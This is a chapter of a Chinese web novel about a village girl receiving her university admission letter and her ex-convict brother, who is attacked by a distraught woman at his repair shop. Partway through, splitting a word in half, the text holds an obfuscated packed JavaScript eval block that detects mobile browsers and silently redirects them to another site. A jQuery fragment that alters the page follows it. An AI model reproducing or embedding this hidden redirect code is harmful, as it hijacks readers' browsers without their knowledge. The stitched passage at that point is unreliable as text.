九十年代的北方乡村，那是旧影与新光悄然交融的岁月。村里的大多数人还在这片黄土地里辛勤劳作，而外边的世界，正以不可抗拒的浪潮之势，将崭新的诱惑与憧憬，拍打向这片沉寂的土地。在这时代的门槛上，文静，这个眉目清秀的农家女孩，即将推开命运的另一扇门：去领取那封能带她走出农村的大学录取通知书。
那时，通知书如同希望的羽翼，总是先飞抵学子们的母校。学校会选择时间，让命运在此刻见分晓的年轻人来校领取。薄薄一纸信封，承载着千钧重量：有它，便是登了龙门；无它，便是沉入水底。
夏日的晨光，已急不可耐地刺穿稀薄的云霭，将金箔般的光泽泼洒在村庄的屋顶、院墙和田野上。文静起了个大早，对着那面印满水痕与岁月斑驳的旧镜。镜中人，青春正盛。双眸清亮如秋水洗过的星辰，映着未可知的远方；鼻梁秀挺，唇线却在不自觉中抿紧，泄露出那深藏于平静外表下的紧张与渴望。她身上那件碎花连衣裙，是哥哥第一次领了工钱后，带她在县城挑的，花色淡雅，是她最珍视的行头，也已经陪伴了她三年了。
餐桌上，是朴素的早饭：一碗冒着热气的米粥，散发着稻谷的香气；一碟自家腌的咸菜疙瘩丝，色泽深褐；几个白胖的馒头，散发着麦子的清甜。文静小口喝着粥，舌尖却尝不出滋味。胸腔里，一颗心如同困在笼中的鸟雀，扑棱着翅膀，冲撞着她的肋骨。自信是有的，可这世上的事，谁又能说个十足十的准？
“文静！文静，和我们一块走吧，让你哥骑车一块送你过去！”院墙外，嫂子邓红梅清亮的声音划破了清晨的宁静。
“不用了，嫂子！我自己能行！”文静扬声应道。
“那可得把通知书揣稳喽！别丢了！我下午早些回来，给你张罗庆功宴！”话音落，墙外摩托车的突突声渐渐远去。
“文静，要不我陪你去学校吧？”陈轩的声音从身后传来。自从妹妹高考结束，他几乎每晚都赶回家。除了大集前一晚住在店里，是为了给李文娟占位置。
文静垂下眼睑。“假如落榜了……”这个念头像冰凉的蛇，倏然滑过心尖。那份狼狈的失落，她不愿让哥哥看见。独自咽下苦果，收拾好残局再回家，是她能想到的体面。“哥，真不用。我自己去，回头就去铺子找你。”
兄妹俩吃完早饭，各自推了自行车出门。并行骑到了镇上，文静还是拒绝了哥哥同去的要求。自己蹬着车，汇入通往县城的车流。
当文静停好车，走进校门的时候，操场上早已人影幢幢。空气里弥漫着一种奇异的混合气息，像是打翻了调料罐子，酸甜苦辣咸，各种情绪分子不安分地碰撞、蒸腾。有人眉飞色舞，声调高亢，那喜悦如同涨潮的海浪，几乎要从每一个毛孔里溢出来；而梧桐树的浓荫下，几个身影如同被抽去了筋骨，颓然垂首，沉默凝固成一片令人窒息的低气压，连阳光都不忍再照拂。
文静的心跳骤然加剧。她匆匆对几个相熟的面孔挤出笑容，脚步却不停，径直朝着那座决定命运的办公楼走去。
教务处的木门虚掩着。负责的老师抬眼看见她，脸上浮起笑意，从那摞厚厚的信封中精准地抽出一份。“文静，来了。恭喜啊！不过，你这分数报省师大，有点屈才了。”语气带着长辈式的惋惜。
“谢谢老师！能考上就好！”文静双手接过那轻飘飘又沉甸甸的信封，笑容在她脸上漾开，是真切的感激。
跨出教务处，阳光仿佛更炽烈了些。她走到操场边的一角，背对着人群，指尖微微颤抖着，小心地沿着信封边缘撕开。抽出那张纸，印着文静和省师范大学的入取通知书，如同骤然点燃的火把，瞬间灼亮了她的瞳孔，也驱散了胸腔里最后一丝担心。一阵风掠过，带着树叶的清凉气息拂过她汗湿的鬓角，紧绷的弦，终于松了下来。
三年的光阴，像一场漫长而孤独的跋涉。她埋头于书山题海，笔尖在纸页上沙沙作响，如同春蚕食桑，用汗水织就着未来的茧。此刻，所有的疲惫、焦灼、夜半惊醒的惶惑，都在这张薄纸面前，化作了轻盈的风絮，飘散而去。
这不仅仅是一纸凭证。它是界碑，划开了她人生的章节；是船票，指向一片陌生而广阔的海域。前路迢迢，风浪与暗礁必然相随，但她已挺直了脊梁，握紧了舵盘。
“学成归来，”她默念着。“要让哥哥不在为她劳累，要陪哥哥看遍四季轮转，春日的细雨，夏夜的流萤，秋夜的朗月，冬日的琼雪……”
心念至此，归心似箭。与同学简单寒暄几句，文静便骑车匆匆返程。她要让这滚烫的喜讯，第一时间去温暖哥哥的心。
与此同时，镇上的摩托车修理铺里，陈轩正埋头于一辆老旧的嘉陵车。上午的活计零碎，多是些补胎、换火花塞的小修小补。他一边听顾客絮叨着路上的不顺，一边熟练地拆卸、清理、组装。机油味，在狭小的铺子前弥散，又被灼人的阳光蒸腾得更加浓稠。
汗水早已湿透了他的旧T恤，紧贴在精壮的脊背上。黝黑的手臂肌肉虬结，沾满油污。豆大的汗珠顺着脸颊滚落，在下巴汇聚成滴，砸在油腻的地上。他不时抬起沾满油污的手背抹一把脸，留下几道滑稽又狼狈的黑痕。
刚拧紧最后一颗螺丝，直起身来，正撩起衣角擦额头的汗，陈轩的目光被远处一个移动的身影吸引了。那身影推着一辆自行车走来，她像一道刺眼的彩虹，突兀地闯进这条灰扑扑的街道：一条长裙，裙身上开满了大朵大朵的、仿佛要燃烧起来的花，颜色鲜艳得几乎要灼伤人的眼睛。裙摆随着她踉跄的步履晃动，像一只被惊扰了、慌乱开屏的孔雀。走近了，才看清她散乱的长发，精心描画过的眉眼，唇上那抹樱桃红艳得近乎妖异。然而，那本该顾盼生辉的眸子，却空洞得如同两口深不见底的枯井。
自行车的后轮完全瘪了，软塌塌地蹭着地面。她停在铺子前，声音飘忽，如同梦呓：“打点气。”
陈轩蹲下身，指尖在轮胎上一捻，便触到那个坚硬的异物。他抬头：“扎了个钉子，得补胎。”
这句话像一根针，猛地刺破了什么。她的眼神骤然变得尖锐、狂乱，声音陡然拔高，尖利得刮擦耳膜：“你骗人！你们男人都是骗子！车胎好好的！你想骗我的钱！”她双手死死抓着车把，整个身体筛糠似的抖动着，鲜艳的裙摆在尘土里拖曳。
陈轩愣住，试图解释：“真没骗你，你看这……”他指着轮胎上那个不起眼的金属反光点。
“骗子！都是骗子！”她的声音更加凄厉，像要把积攒的所有怨毒倾泻而出。泪水毫无征兆地奔涌，在脂粉上冲出狼狈的沟壑，可她嘴角却神经质地向上咧开，形成一个扭曲的、让人脊背发凉的笑容。下一秒，她像被激怒的母兽，猝不及防地朝陈轩猛扑过来！尖锐的指甲划过他的脸颊，留下一道火辣辣的血痕。树荫下乘凉的人们这才惊醒，纷纷上前，七手八脚地将这失控的躯体拉开。
她的力气仿佛瞬间被抽空，瘫软下去，蹲在地上，双臂死死箍住膝盖，头深深埋进去，只剩下梦呓般的喃喃：“骗子，都是骗子，全是骗子！”那身曾经绚烂的裙子，此刻沾满尘土，像褪色的晚霞裹着一具行尸走肉。她蜷缩在自己的孤岛上，隔绝了所有的喧嚣，像一只被折断尾羽、遗弃在泥泞里的孔雀，华彩尽失，只剩一片刺目的狼藉。
“唉，造孽！她这儿，”旁边一个老者压低声音，指了指自己的太阳穴，对陈轩叹口气，“出毛病了。”
陈轩沉默着，蹲下身，想继续拆卸那辆自行车的后轮。那女子却像受了更大的刺激，猛地弹起！陈轩本能地后退一步，拉开距离。
“骗子，不要你修，骗子！”她嘶哑地喊着，一把夺过自行车，踉踉跄跄地推着它，头也不回地消失在街道的拐角，留下那抹刺目的艳色残影。
搁在以前，陈轩绝不会对女人动手，但若遭此无妄之灾，血气上涌的他定会本能地反击甚至制服对方。可那三年的铁窗岁月，像沉重的磨盘，碾平了他身上的棱角，也碾碎了无数个本该在阳光下的日子。
出狱后，家人无声的包容像温热的泉水包裹着他，随之而来的责任更如无形的枷锁。他变得小心翼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345166|183487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翼，如履薄冰，每一步都踩在理智的钢丝上，生怕一丝行差踏错，便再次坠入深渊。
脚下的黄土地给了他朴拙的本性，可青春的烈焰本该燃烧：那本是席卷天地的狂风，裹挟着不羁与莽撞；是瓢泼而下的骤雨，冲刷着迷茫与冲动；是呼啸喷薄的岩浆，蕴藏着摧毁一切桎梏的力量。年轻的心脏，本该无所畏惧，在生命的旷野上纵情驰骋，留下浓墨重彩的印痕。然而，如今这份因负疚和责任而生的谨小慎微，以及那份如影随形的、挥之不去的卑微感，已化作一层厚厚的硬茧，将他骨子里那份天不怕地不怕、快意恩仇的少年意气，严严实实地包裹、禁锢了起来。
当文静的身影出现在铺子门口时，陈轩正仰面躺在一辆三轮板车底下，拧着底盘一颗顽固的螺丝。酷暑难耐，她一路疾驰，额发已被汗水濡湿贴在光洁的额角。她停好车，轻手轻脚走进铺子，打了盆清水洗去一路风尘，又另换了一盆清水，拿上干净的毛巾，搬了个小马扎，安静地坐在三轮车旁等待，像一株悄然绽放的幽兰。
陈轩从车底钻出来，抹了把脸上的油汗，一眼就看到了妹妹。“文静，咋样？”那满脸的污迹和汗水，也遮掩不住他眼中灼热得烫人的期待。
看到哥哥脸上那道新鲜的血痕和疲惫的模样，文静的心揪了一下。她拿起毛巾，温软的手指隔着布料，轻柔地擦拭他脸上的污渍和汗珠。“哥，考上了。”声音很轻，却带着沉甸甸的分量。
“好！好！好！”一连三个好字，带着颤音。他胡乱地抹了把脸，又冲去水龙头下，用肥皂用力搓洗着沾满油污的双手，直到指缝都泛了红。“快！给哥看看！”
“哥，你脸上……”文静指着那道血痕，眉头微蹙。
“没事，刮了一下。”他毫不在意地摆摆手，小心翼翼地从妹妹手中接过那个神圣的信封，像捧着稀世珍宝。当他展开那张决定命运的纸张时，时间仿佛静止了一瞬。随即，一个巨大的、毫无保留的笑容在他黝黑疲惫的脸上炸开，像阴霾天里骤然跃出的太阳。眼眶迅速泛红，鼻翼翕动，嘴唇哆嗦着，喉结剧烈地上下滚动了几下，竟一个字也挤不出来。
“文静，”他终于找回了自己的声音，带着压抑不住的颤抖，“想吃啥？哥这就去给你买！”他像捧着圣物般，将通知书小心地叠好，放回信封，郑重地交还给妹妹，“收好，千万收好。”
“想吃炸茄盒。”文静轻声说。城里那些光怪陆离的美食她虽然也见过，但镇上那家炸货铺子飘出的诱人香气，是她能想象到的，也是哥哥此刻有能力为她实现的美味。
“等着！”陈轩话音未落，人已旋风般冲出铺子，跨上自行车，向镇上炸货铺子奔去。
“哎！老板，修车钱，钱还没给呢！”三轮车主人在后面急得直喊。
“不要了！今儿高兴！请你的！”陈轩的声音远远传来，带着一股酣畅淋漓的痛快。
三轮车主人看着陈轩消失的方向，摇摇头，又看看文静，笑着掏出二十块钱塞到她手里：“拿着拿着，该收还得收。小姑娘，考上大学了？恭喜啊！真有出息！”
哥哥的快乐像暖流包裹着她，文静心里也甜丝丝的。可她心疼哥哥的辛苦，不愿他白干活。她接过钱，认真地点头：“谢谢大叔。”
不多时，陈轩便风风火火地回来了，车把手上沉甸甸地挂着两个硕大的塑料袋，里面透出油纸包裹的食物轮廓，各种炸货的香气霸道地弥漫开来。
“哥，怎么买这么多？”文静赶紧上前去接。
“不多不多！”陈轩咧着嘴笑。他快步走到铺子后头的小棚里，搬出一张小桌，支在树荫下。“文静，那个小点的袋子里是咱俩的午饭。大的带回去，晚上一块吃。嫂子说了晚上要给你办庆功宴，下午早点收摊，我们回去给嫂子打下手。”
小小的修车铺前，兄妹俩围坐在小桌旁。陈轩仔细地擦干净桌面，文静把油纸包着的金黄炸鸡、炸茄盒、几个热乎的烧饼，还有两瓶橘子汽水一一摆开。在正午的阳光下，两张洋溢着纯粹喜悦的脸庞散发着幸福的气息。